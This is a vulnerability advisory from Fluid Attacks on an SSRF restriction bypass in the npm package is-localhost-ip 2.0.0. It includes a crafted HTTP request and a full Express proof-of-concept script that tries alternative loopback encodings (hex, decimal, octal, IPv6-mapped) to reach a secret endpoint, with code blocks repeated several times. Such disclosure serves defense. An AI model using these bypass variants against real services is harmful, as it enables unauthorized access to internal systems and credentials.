
is-localhost-ip 2.0.0 - SSRF via Restrictions bypass
6.9
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
is-localhost-ip 2.0.0 - SSRF via Restrictions bypass
Code name
State
Public
Release date
Sep 22, 2025
Affected product
is-localhost-ip
Vendor
is-localhost-ip
Affected version(s)
2.0.0
Package manager
npm
Vulnerability name
Server-side request forgery (SSRF)
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CVSS v4.0 base score
6.9
Exploit available
Yes
CVE ID(s)
Description
is-localhost-ip is a library designed to determine whether a given IP address resolves to localhost. However, the validation can be bypassed by using alternative representations such as IPv6-mapped IPv4 addresses (e.g.,::ffff:127.0.0.1), allowing restricted localhost access to be incorrectly permitted.
If an app uses this library for security verification, it could be vulnerable to attacks such as Server Side Request Forgery (SSRF).
Vulnerability
The library misclassifies IPv6 addresses and allows localhost checks to be bypassed. Two issues combine:
False negatives for valid IPv6 localhost representations (bypass): The code only pattern‑matches a limited set of textual forms and misses IPv4‑mapped localhost in hextet form, e.g, .::ffff:7f00:1 (which equals 127.0.0.1). Because canBind defaults to false, these variants do not match the regex and often fail the bind check, so they are treated as NOT localhost.
False positives for non‑loopback “private” ranges (trust expansion): The regex treats RFC1918 (10/8, 172.16/12, 192.168/16), link‑local 169.254/16, and IPv6 ULA/LL (fc00::/7, fe80::/10) as localhost. Those addresses are reachable from other hosts and must not be considered loopback. When canBind=false, they are accepted without verifying that the interface actually exists locally.
Relevant code paths:
// Addresses reserved for private networks (not just loopback) const IP_RANGES = [ /^(:{2}f{4}:)?10(?:\.\d{1,3}){3}$/, /^(:{2}f{4}:)?127(?:\.\d{1,3}){3}$/, /^(::f{4}:)?169\.254\.([1-9]|1?\d\d|2[0-4]\d|25[0-4])\.\d{1,3}$/, /^(:{2}f{4}:)?(172\.1[6-9]|172\.2\d|172\.3[01])(?:\.\d{1,3}){2}$/, /^(:{2}f{4}:)?192\.168(?:\.\d{1,3}){2}$/, /^f[cd][\da-f]{2}(::1$|:[\da-f]{1,4}){1,7}$/, /^fe[89ab][\da-f](::1$|:[\da-f]{1,4}){1,7}$/, ]; async function isLocalhost(ipOrHostname, canBind = false) { if (isIP(ipOrHostname)) { if (IP_TESTER_RE.test(ipOrHostname) && !canBind) return true; // trusts broad ranges return canBindToIp(ipOrHostname); // fallback bind check } // ... DNS lookup then recurse }
// Addresses reserved for private networks (not just loopback) const IP_RANGES = [ /^(:{2}f{4}:)?10(?:\.\d{1,3}){3}$/, /^(:{2}f{4}:)?127(?:\.\d{1,3}){3}$/, /^(::f{4}:)?169\.254\.([1-9]|1?\d\d|2[0-4]\d|25[0-4])\.\d{1,3}$/, /^(:{2}f{4}:)?(172\.1[6-9]|172\.2\d|172\.3[01])(?:\.\d{1,3}){2}$/, /^(:{2}f{4}:)?192\.168(?:\.\d{1,3}){2}$/, /^f[cd][\da-f]{2}(::1$|:[\da-f]{1,4}){1,7}$/, /^fe[89ab][\da-f](::1$|:[\da-f]{1,4}){1,7}$/, ]; async function isLocalhost(ipOrHostname, canBind = false) { if (isIP(ipOrHostname)) { if (IP_TESTER_RE.test(ipOrHostname) && !canBind) return true; // trusts broad ranges return canBindToIp(ipOrHostname); // fallback bind check } // ... DNS lookup then recurse }
// Addresses reserved for private networks (not just loopback) const IP_RANGES = [ /^(:{2}f{4}:)?10(?:\.\d{1,3}){3}$/, /^(:{2}f{4}:)?127(?:\.\d{1,3}){3}$/, /^(::f{4}:)?169\.254\.([1-9]|1?\d\d|2[0-4]\d|25[0-4])\.\d{1,3}$/, /^(:{2}f{4}:)?(172\.1[6-9]|172\.2\d|172\.3[01])(?:\.\d{1,3}){2}$/, /^(:{2}f{4}:)?192\.168(?:\.\d{1,3}){2}$/, /^f[cd][\da-f]{2}(::1$|:[\da-f]{1,4}){1,7}$/, /^fe[89ab][\da-f](::1$|:[\da-f]{1,4}){1,7}$/, ]; async function isLocalhost(ipOrHostname, canBind = false) { if (isIP(ipOrHostname)) { if (IP_TESTER_RE.test(ipOrHostname) && !canBind) return true; // trusts broad ranges return canBindToIp(ipOrHostname); // fallback bind check } // ... DNS lookup then recurse }
// Addresses reserved for private networks (not just loopback) const IP_RANGES = [ /^(:{2}f{4}:)?10(?:\.\d{1,3}){3}$/, /^(:{2}f{4}:)?127(?:\.\d{1,3}){3}$/, /^(::f{4}:)?169\.254\.([1-9]|1?\d\d|2[0-4]\d|25[0-4])\.\d{1,3}$/, /^(:{2}f{4}:)?(172\.1[6-9]|172\.2\d|172\.3[01])(?:\.\d{1,3}){2}$/, /^(:{2}f{4}:)?192\.168(?:\.\d{1,3}){2}$/, /^f[cd][\da-f]{2}(::1$|:[\da-f]{1,4}){1,7}$/, /^fe[89ab][\da-f](::1$|:[\da-f]{1,4}){1,7}$/, ]; async function isLocalhost(ipOrHostname, canBind = false) { if (isIP(ipOrHostname)) { if (IP_TESTER_RE.test(ipOrHostname) && !canBind) return true; // trusts broad ranges return canBindToIp(ipOrHostname); // fallback bind check } // ... DNS lookup then recurse }
Impact in practice:
// False negative (bypass): IPv4‑mapped IPv6 loopback in hextets await isLocalhost('::ffff:7f00:1'); // false ← treated as NOT localhost // False positive (trust expansion): ULA and private ranges treated as localhost await isLocalhost('fc00::1'); // true ← accepted without interface check await isLocalhost('192.168.1.10'); // true ← not loopback, but allowed
// False negative (bypass): IPv4‑mapped IPv6 loopback in hextets await isLocalhost('::ffff:7f00:1'); // false ← treated as NOT localhost // False positive (trust expansion): ULA and private ranges treated as localhost await isLocalhost('fc00::1'); // true ← accepted without interface check await isLocalhost('192.168.1.10'); // true ← not loopback, but allowed
// False negative (bypass): IPv4‑mapped IPv6 loopback in hextets await isLocalhost('::ffff:7f00:1'); // false ← treated as NOT localhost // False positive (trust expansion): ULA and private ranges treated as localhost await isLocalhost('fc00::1'); // true ← accepted without interface check await isLocalhost('192.168.1.10'); // true ← not loopback, but allowed
// False negative (bypass): IPv4‑mapped IPv6 loopback in hextets await isLocalhost('::ffff:7f00:1'); // false ← treated as NOT localhost // False positive (trust expansion): ULA and private ranges treated as localhost await isLocalhost('fc00::1'); // true ← accepted without interface check await isLocalhost('192.168.1.10'); // true ← not loopback, but allowed
HTTP example bypass against an allow‑list that blocks localhost using this library:
GET /check-url?url=http://[::ffff:7f00:1]:3005/secret HTTP/1.1 Host: localhost:3005
GET /check-url?url=http://[::ffff:7f00:1]:3005/secret HTTP/1.1 Host: localhost:3005
GET /check-url?url=http://[::ffff:7f00:1]:3005/secret HTTP/1.1 Host: localhost:3005
GET /check-url?url=http://[::ffff:7f00:1]:3005/secret HTTP/1.1 Host: localhost:3005
This is vulnerable because:
The function equates “private/ULA/LL addresses” with “localhost”, expanding the trust boundary beyond the loopback device and enabling SSRF to internal services.
It fails to normalize and positively identify all loopback representations (e.g.,::ffff:7f00:1), letting attackers smuggle loopback through IPv6 forms that the regex does not cover.
With canBind=false (default), addresses are accepted purely by regex, even if the host cannot bind to them, making both classes of mistakes exploitable via direct IPs or DNS records that resolve to them.
Safe behavior should restrict “localhost” to only loopback addresses: 127.0.0.0/8, ::1, and ::ffff:127.0.0.0/104 (IPv4‑mapped), and must normalize/parse instead of relying on fragile regexes.
PoC
const express = require('express'); const isLocalhost = require('is-localhost-ip'); const app = express(); const PORT = 3005; app.use(express.json()); app.get('/check-url', async (req, res) => { try { const { url } = req.query; if (!url) { return res.status(400).json({ error: 'URL required as query parameter', example: '/check-url?url=https://google.com' }); } let hostname; try { const urlObj = new URL(url); hostname = urlObj.hostname; } catch (error) { return res.status(400).json({ error: 'Invalid URL', provided: url }); } const isLocal = await isLocalhost(hostname); if (isLocal) { return res.status(403).json({ error: 'localhost not allowed' }); } // If not localhost, fetch content console.log(`Fetching: ${url}`); const response = await fetch(url); const content = await response.text(); res.send(content); } catch (error) { console.error('Error:', error.message); res.status(500).json({ error: 'Internal server error', details: error.message }); } }); app.get('/', (req, res) => { res.json({ message: 'Express server running', usage: 'GET /check-url?url=https://example.com', examples: [ 'GET /check-url?url=https://httpbin.org/json', 'GET /check-url?url=http://localhost:8080', 'GET /check-url?url=https://google.com' ], endpoints: [ 'GET /', 'GET /check-url?url=<URL>', 'GET /secret' ], port: PORT }); }); // Function to test localhost bypass on /check-url async function testLocalhostBypassOnCheckUrl() { const baseUrl = 'http://localhost:3005/check-url?url='; const targetUrl = 'http://localhost:3005/secret'; // URL we want to access const variants = [ 'localhost:3005/secret', '127.0.0.1:3005/secret', '0x7f000001:3005/secret', // Hexadecimal '2130706433:3005/secret', // Decimal '127.000.000.001:3005/secret', // With zeros '127.0.0.01:3005/secret', // Zero variant '0177.0.0.01:3005/secret', // Octal '[::ffff:7f00:1]:3005/secret' // Specific IPv6 final 🎯 ]; console.log('\n🚀 ===== STARTING LOCALHOST BYPASS TESTS ====='); console.log('🎯 Testing access to /secret through /check-url'); console.log('='.repeat(55)); const results = []; let successCount = 0; for (const variant of variants) { try { const testUrl = `http://${variant}`; const fullUrl = `${baseUrl}${encodeURIComponent(testUrl)}`; console.log(`\n🔍 Testing: ${variant}`); console.log(` Full URL: ${fullUrl}`); const response = await fetch(fullUrl); const responseText = await response.text(); if (response.status === 403) { results.push({ variant, status: 'blocked ❌', statusCode: response.status, message: 'localhost blocked correctly' }); console.log(` ❌ BLOCKED - Status: ${response.status}`); } else if (response.status === 200) { // Check if response contains an API key (indicating successful bypass) let isApiKey = false; try { const jsonResponse = JSON.parse(responseText); if (jsonResponse.apikey || jsonResponse.type === 'secret_key') { isApiKey = true; successCount++; } } catch (e) { // Not JSON, but status 200 could be bypass } results.push({ variant, status: isApiKey ? 'BYPASS SUCCESS! 🔥' : 'response received ⚠️', statusCode: response.status, isApiKey, responsePreview: responseText.substring(0, 100) }); if (isApiKey) { console.log(` 🔥 BYPASS SUCCESS! - Got API key`); } else { console.log(` ⚠️ Response received - Status: ${response.status}`); } } else { results.push({ variant, status: `error ${response.status} ❌`, statusCode: response.status }); console.log(` ❌ Error - Status: ${response.status}`); } } catch (error) { results.push({ variant, status: 'failed ❌', error: error.message }); console.log(` ❌ Failed: ${error.message}`); } } console.log('\n' + '='.repeat(55)); console.log('📊 TEST SUMMARY:'); console.log(` Total tested: ${variants.length}`); console.log(` Successful bypasses: ${successCount}`); console.log(` Blocked: ${results.filter(r => r.status.includes('blocked')).length}`); console.log(` Errors: ${results.filter(r => r.status.includes('failed') || r.status.includes('error')).length}`); if (successCount > 0) { console.log('\n🎉 VULNERABILITY FOUND!'); console.log('🔓 Successfully bypassed localhost protection'); } else { console.log('\n🛡️ Localhost protection working correctly'); } console.log('=' + '='.repeat(54)); return results; } app.get('/secret', (req, res) => { const generateApiKey = () => { const prefixes = ['sk_live_', 'pk_test_', 'api_key_', 'token_', 'key_']; const prefix = prefixes[Math.floor(Math.random() * prefixes.length)]; const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < 32; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return prefix + result; }; const apiKey = generateApiKey(); res.json({ apikey: apiKey, type: "secret_key", expires_in: Math.floor(Math.random() * 365) + 30, // days created_at: new Date().toISOString(), permissions: ["read", "write", "admin"] }); }); app.listen(PORT, async () => { console.log(`Express server running on http://localhost:${PORT}`); console.log(`Usage: GET /check-url?url=https://example.com`); // Execute bypass tests automatically setTimeout(async () => { try { await testLocalhostBypassOnCheckUrl(); } catch (error) { console.error('Error in bypass tests:', error.message); } }, 1000); // Wait 1 second for server to be ready });
const express = require('express'); const isLocalhost = require('is-localhost-ip'); const app = express(); const PORT = 3005; app.use(express.json()); app.get('/check-url', async (req, res) => { try { const { url } = req.query; if (!url) { return res.status(400).json({ error: 'URL required as query parameter', example: '/check-url?url=https://google.com' }); } let hostname; try { const urlObj = new URL(url); hostname = urlObj.hostname; } catch (error) { return res.status(400).json({ error: 'Invalid URL', provided: url }); } const isLocal = await isLocalhost(hostname); if (isLocal) { return res.status(403).json({ error: 'localhost not allowed' }); } // If not localhost, fetch content console.log(`Fetching: ${url}`); const response = await fetch(url); const content = await response.text(); res.send(content); } catch (error) { console.error('Error:', error.message); res.status(500).json({ error: 'Internal server error', details: error.message }); } }); app.get('/', (req, res) => { res.json({ message: 'Express server running', usage: 'GET /check-url?url=https://example.com', examples: [ 'GET /check-url?url=https://httpbin.org/json', 'GET /check-url?url=http://localhost:8080', 'GET /check-url?url=https://google.com' ], endpoints: [ 'GET /', 'GET /check-url?url=<URL>', 'GET /secret' ], port: PORT }); }); // Function to test localhost bypass on /check-url async function testLocalhostBypassOnCheckUrl() { const baseUrl = 'http://localhost:3005/check-url?url='; const targetUrl = 'http://localhost:3005/secret'; // URL we want to access const variants = [ 'localhost:3005/secret', '127.0.0.1:3005/secret', '0x7f000001:3005/secret', // Hexadecimal '2130706433:3005/secret', // Decimal '127.000.000.001:3005/secret', // With zeros '127.0.0.01:3005/secret', // Zero variant '0177.0.0.01:3005/secret', // Octal '[::ffff:7f00:1]:3005/secret' // Specific IPv6 final 🎯 ]; console.log('\n🚀 ===== STARTING LOCALHOST BYPASS TESTS ====='); console.log('🎯 Testing access to /secret through /check-url'); console.log('='.repeat(55)); const results = []; let successCount = 0; for (const variant of variants) { try { const testUrl = `http://${variant}`; const fullUrl = `${baseUrl}${encodeURIComponent(testUrl)}`; console.log(`\n🔍 Testing: ${variant}`); console.log(` Full URL: ${fullUrl}`); const response = await fetch(fullUrl); const responseText = await response.text(); if (response.status === 403) { results.push({ variant, status: 'blocked ❌', statusCode: response.status, message: 'localhost blocked correctly' }); console.log(` ❌ BLOCKED - Status: ${response.status}`); } else if (response.status === 200) { // Check if response contains an API key (indicating successful bypass) let isApiKey = false; try { const jsonResponse = JSON.parse(responseText); if (jsonResponse.apikey || jsonResponse.type === 'secret_key') { isApiKey = true; successCount++; } } catch (e) { // Not JSON, but status 200 could be bypass } results.push({ variant, status: isApiKey ? 'BYPASS SUCCESS! 🔥' : 'response received ⚠️', statusCode: response.status, isApiKey, responsePreview: responseText.substring(0, 100) }); if (isApiKey) { console.log(` 🔥 BYPASS SUCCESS! - Got API key`); } else { console.log(` ⚠️ Response received - Status: ${response.status}`); } } else { results.push({ variant, status: `error ${response.status} ❌`, statusCode: response.status }); console.log(` ❌ Error - Status: ${response.status}`); } } catch (error) { results.push({ variant, status: 'failed ❌', error: error.message }); console.log(` ❌ Failed: ${error.message}`); } } console.log('\n' + '='.repeat(55)); console.log('📊 TEST SUMMARY:'); console.log(` Total tested: ${variants.length}`); console.log(` Successful bypasses: ${successCount}`); console.log(` Blocked: ${results.filter(r => r.status.includes('blocked')).length}`); console.log(` Errors: ${results.filter(r => r.status.includes('failed') || r.status.includes('error')).length}`); if (successCount > 0) { console.log('\n🎉 VULNERABILITY FOUND!'); console.log('🔓 Successfully bypassed localhost protection'); } else { console.log('\n🛡️ Localhost protection working correctly'); } console.log('=' + '='.repeat(54)); return results; } app.get('/secret', (req, res) => { const generateApiKey = () => { const prefixes = ['sk_live_', 'pk_test_', 'api_key_', 'token_', 'key_']; const prefix = prefixes[Math.floor(Math.random() * prefixes.length)]; const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < 32; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return prefix + result; }; const apiKey = generateApiKey(); res.json({ apikey: apiKey, type: "secret_key", expires_in: Math.floor(Math.random() * 365) + 30, // days created_at: new Date().toISOString(), permissions: ["read", "write", "admin"] }); }); app.listen(PORT, async () => { console.log(`Express server running on http://localhost:${PORT}`); console.log(`Usage: GET /check-url?url=https://example.com`); // Execute bypass tests automatically setTimeout(async () => { try { await testLocalhostBypassOnCheckUrl(); } catch (error) { console.error('Error in bypass tests:', error.message); } }, 1000); // Wait 1 second for server to be ready });
const express = require('express'); const isLocalhost = require('is-localhost-ip'); const app = express(); const PORT = 3005; app.use(express.json()); app.get('/check-url', async (req, res) => { try { const { url } = req.query; if (!url) { return res.status(400).json({ error: 'URL required as query parameter', example: '/check-url?url=https://google.com' }); } let hostname; try { const urlObj = new URL(url); hostname = urlObj.hostname; } catch (error) { return res.status(400).json({ error: 'Invalid URL', provided: url }); } const isLocal = await isLocalhost(hostname); if (isLocal) { return res.status(403).json({ error: 'localhost not allowed' }); } // If not localhost, fetch content console.log(`Fetching: ${url}`); const response = await fetch(url); const content = await response.text(); res.send(content); } catch (error) { console.error('Error:', error.message); res.status(500).json({ error: 'Internal server error', details: error.message }); } }); app.get('/', (req, res) => { res.json({ message: 'Express server running', usage: 'GET /check-url?url=https://example.com', examples: [ 'GET /check-url?url=https://httpbin.org/json', 'GET /check-url?url=http://localhost:8080', 'GET /check-url?url=https://google.com' ], endpoints: [ 'GET /', 'GET /check-url?url=<URL>', 'GET /secret' ], port: PORT }); }); // Function to test localhost bypass on /check-url async function testLocalhostBypassOnCheckUrl() { const baseUrl = 'http://localhost:3005/check-url?url='; const targetUrl = 'http://localhost:3005/secret'; // URL we want to access const variants = [ 'localhost:3005/secret', '127.0.0.1:3005/secret', '0x7f000001:3005/secret', // Hexadecimal '2130706433:3005/secret', // Decimal '127.000.000.001:3005/secret', // With zeros '127.0.0.01:3005/secret', // Zero variant '0177.0.0.01:3005/secret', // Octal '[::ffff:7f00:1]:3005/secret' // Specific IPv6 final 🎯 ]; console.log('\n🚀 ===== STARTING LOCALHOST BYPASS TESTS ====='); console.log('🎯 Testing access to /secret through /check-url'); console.log('='.repeat(55)); const results = []; let successCount = 0; for (const variant of variants) { try { const testUrl = `http://${variant}`; const fullUrl = `${baseUrl}${encodeURIComponent(testUrl)}`; console.log(`\n🔍 Testing: ${variant}`); console.log(` Full URL: ${fullUrl}`); const response = await fetch(fullUrl); const responseText = await response.text(); if (response.status === 403) { results.push({ variant, status: 'blocked ❌', statusCode: response.status, message: 'localhost blocked correctly' }); console.log(` ❌ BLOCKED - Status: ${response.status}`); } else if (response.status === 200) { // Check if response contains an API key (indicating successful bypass) let isApiKey = false; try { const jsonResponse = JSON.parse(responseText); if (jsonResponse.apikey || jsonResponse.type === 'secret_key') { isApiKey = true; successCount++; } } catch (e) { // Not JSON, but status 200 could be bypass } results.push({ variant, status: isApiKey ? 'BYPASS SUCCESS! 🔥' : 'response received ⚠️', statusCode: response.status, isApiKey, responsePreview: responseText.substring(0, 100) }); if (isApiKey) { console.log(` 🔥 BYPASS SUCCESS! - Got API key`); } else { console.log(` ⚠️ Response received - Status: ${response.status}`); } } else { results.push({ variant, status: `error ${response.status} ❌`, statusCode: response.status }); console.log(` ❌ Error - Status: ${response.status}`); } } catch (error) { results.push({ variant, status: 'failed ❌', error: error.message }); console.log(` ❌ Failed: ${error.message}`); } } console.log('\n' + '='.repeat(55)); console.log('📊 TEST SUMMARY:'); console.log(` Total tested: ${variants.length}`); console.log(` Successful bypasses: ${successCount}`); console.log(` Blocked: ${results.filter(r => r.status.includes('blocked')).length}`); console.log(` Errors: ${results.filter(r => r.status.includes('failed') || r.status.includes('error')).length}`); if (successCount > 0) { console.log('\n🎉 VULNERABILITY FOUND!'); console.log('🔓 Successfully bypassed localhost protection'); } else { console.log('\n🛡️ Localhost protection working correctly'); } console.log('=' + '='.repeat(54)); return results; } app.get('/secret', (req, res) => { const generateApiKey = () => { const prefixes = ['sk_live_', 'pk_test_', 'api_key_', 'token_', 'key_']; const prefix = prefixes[Math.floor(Math.random() * prefixes.length)]; const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < 32; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return prefix + result; }; const apiKey = generateApiKey(); res.json({ apikey: apiKey, type: "secret_key", expires_in: Math.floor(Math.random() * 365) + 30, // days created_at: new Date().toISOString(), permissions: ["read", "write", "admin"] }); }); app.listen(PORT, async () => { console.log(`Express server running on http://localhost:${PORT}`); console.log(`Usage: GET /check-url?url=https://example.com`); // Execute bypass tests automatically setTimeout(async () => { try { await testLocalhostBypassOnCheckUrl(); } catch (error) { console.error('Error in bypass tests:', error.message); } }, 1000); // Wait 1 second for server to be ready });
const express = require('express'); const isLocalhost = require('is-localhost-ip'); const app = express(); const PORT = 3005; app.use(express.json()); app.get('/check-url', async (req, res) => { try { const { url } = req.query; if (!url) { return res.status(400).json({ error: 'URL required as query parameter', example: '/check-url?url=https://google.com' }); } let hostname; try { const urlObj = new URL(url); hostname = urlObj.hostname; } catch (error) { return res.status(400).json({ error: 'Invalid URL', provided: url }); } const isLocal = await isLocalhost(hostname); if (isLocal) { return res.status(403).json({ error: 'localhost not allowed' }); } // If not localhost, fetch content console.log(`Fetching: ${url}`); const response = await fetch(url); const content = await response.text(); res.send(content); } catch (error) { console.error('Error:', error.message); res.status(500).json({ error: 'Internal server error', details: error.message }); } }); app.get('/', (req, res) => { res.json({ message: 'Express server running', usage: 'GET /check-url?url=https://example.com', examples: [ 'GET /check-url?url=https://httpbin.org/json', 'GET /check-url?url=http://localhost:8080', 'GET /check-url?url=https://google.com' ], endpoints: [ 'GET /', 'GET /check-url?url=<URL>', 'GET /secret' ], port: PORT }); }); // Function to test localhost bypass on /check-url async function testLocalhostBypassOnCheckUrl() { const baseUrl = 'http://localhost:3005/check-url?url='; const targetUrl = 'http://localhost:3005/secret'; // URL we want to access const variants = [ 'localhost:3005/secret', '127.0.0.1:3005/secret', '0x7f000001:3005/secret', // Hexadecimal '2130706433:3005/secret', // Decimal '127.000.000.001:3005/secret', // With zeros '127.0.0.01:3005/secret', // Zero variant '0177.0.0.01:3005/secret', // Octal '[::ffff:7f00:1]:3005/secret' // Specific IPv6 final 🎯 ]; console.log('\n🚀 ===== STARTING LOCALHOST BYPASS TESTS ====='); console.log('🎯 Testing access to /secret through /check-url'); console.log('='.repeat(55)); const results = []; let successCount = 0; for (const variant of variants) { try { const testUrl = `http://${variant}`; const fullUrl = `${baseUrl}${encodeURIComponent(testUrl)}`; console.log(`\n🔍 Testing: ${variant}`); console.log(` Full URL: ${fullUrl}`); const response = await fetch(fullUrl); const responseText = await response.text(); if (response.status === 403) { results.push({ variant, status: 'blocked ❌', statusCode: response.status, message: 'localhost blocked correctly' }); console.log(` ❌ BLOCKED - Status: ${response.status}`); } else if (response.status === 200) { // Check if response contains an API key (indicating successful bypass) let isApiKey = false; try { const jsonResponse = JSON.parse(responseText); if (jsonResponse.apikey || jsonResponse.type === 'secret_key') { isApiKey = true; successCount++; } } catch (e) { // Not JSON, but status 200 could be bypass } results.push({ variant, status: isApiKey ? 'BYPASS SUCCESS! 🔥' : 'response received ⚠️', statusCode: response.status, isApiKey, responsePreview: responseText.substring(0, 100) }); if (isApiKey) { console.log(` 🔥 BYPASS SUCCESS! - Got API key`); } else { console.log(` ⚠️ Response received - Status: ${response.status}`); } } else { results.push({ variant, status: `error ${response.status} ❌`, statusCode: response.status }); console.log(` ❌ Error - Status: ${response.status}`); } } catch (error) { results.push({ variant, status: 'failed ❌', error: error.message }); console.log(` ❌ Failed: ${error.message}`); } } console.log('\n' + '='.repeat(55)); console.log('📊 TEST SUMMARY:'); console.log(` Total tested: ${variants.length}`); console.log(` Successful bypasses: ${successCount}`); console.log(` Blocked: ${results.filter(r => r.status.includes('blocked')).length}`); console.log(` Errors: ${results.filter(r => r.status.includes('failed') || r.status.includes('error')).length}`); if (successCount > 0) { console.log('\n🎉 VULNERABILITY FOUND!'); console.log('🔓 Successfully bypassed localhost protection'); } else { console.log('\n🛡️ Localhost protection working correctly'); } console.log('=' + '='.repeat(54)); return results; } app.get('/secret', (req, res) => { const generateApiKey = () => { const prefixes = ['sk_live_', 'pk_test_', 'api_key_', 'token_', 'key_']; const prefix = prefixes[Math.floor(Math.random() * prefixes.length)]; const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < 32; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return prefix + result; }; const apiKey = generateApiKey(); res.json({ apikey: apiKey, type: "secret_key", expires_in: Math.floor(Math.random() * 365) + 30, // days created_at: new Date().toISOString(), permissions: ["read", "write", "admin"] }); }); app.listen(PORT, async () => { console.log(`Express server running on http://localhost:${PORT}`); console.log(`Usage: GET /check-url?url=https://example.com`); // Execute bypass tests automatically setTimeout(async () => { try { await testLocalhostBypassOnCheckUrl(); } catch (error) { console.error('Error in bypass tests:', error.message); } }, 1000); // Wait 1 second for server to be ready });
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2025-9960 to refer to this issue from now on.
System Information
is-localhost-ip
Version 2.0.0
Operating System: Any
References
Github Repository: https://github.com/tinovyatkin/is-localhost-ip
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.
Timeline
Sep 2, 2025
Vulnerability discovered
Sep 3, 2025
Vendor contacted
Sep 22, 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.





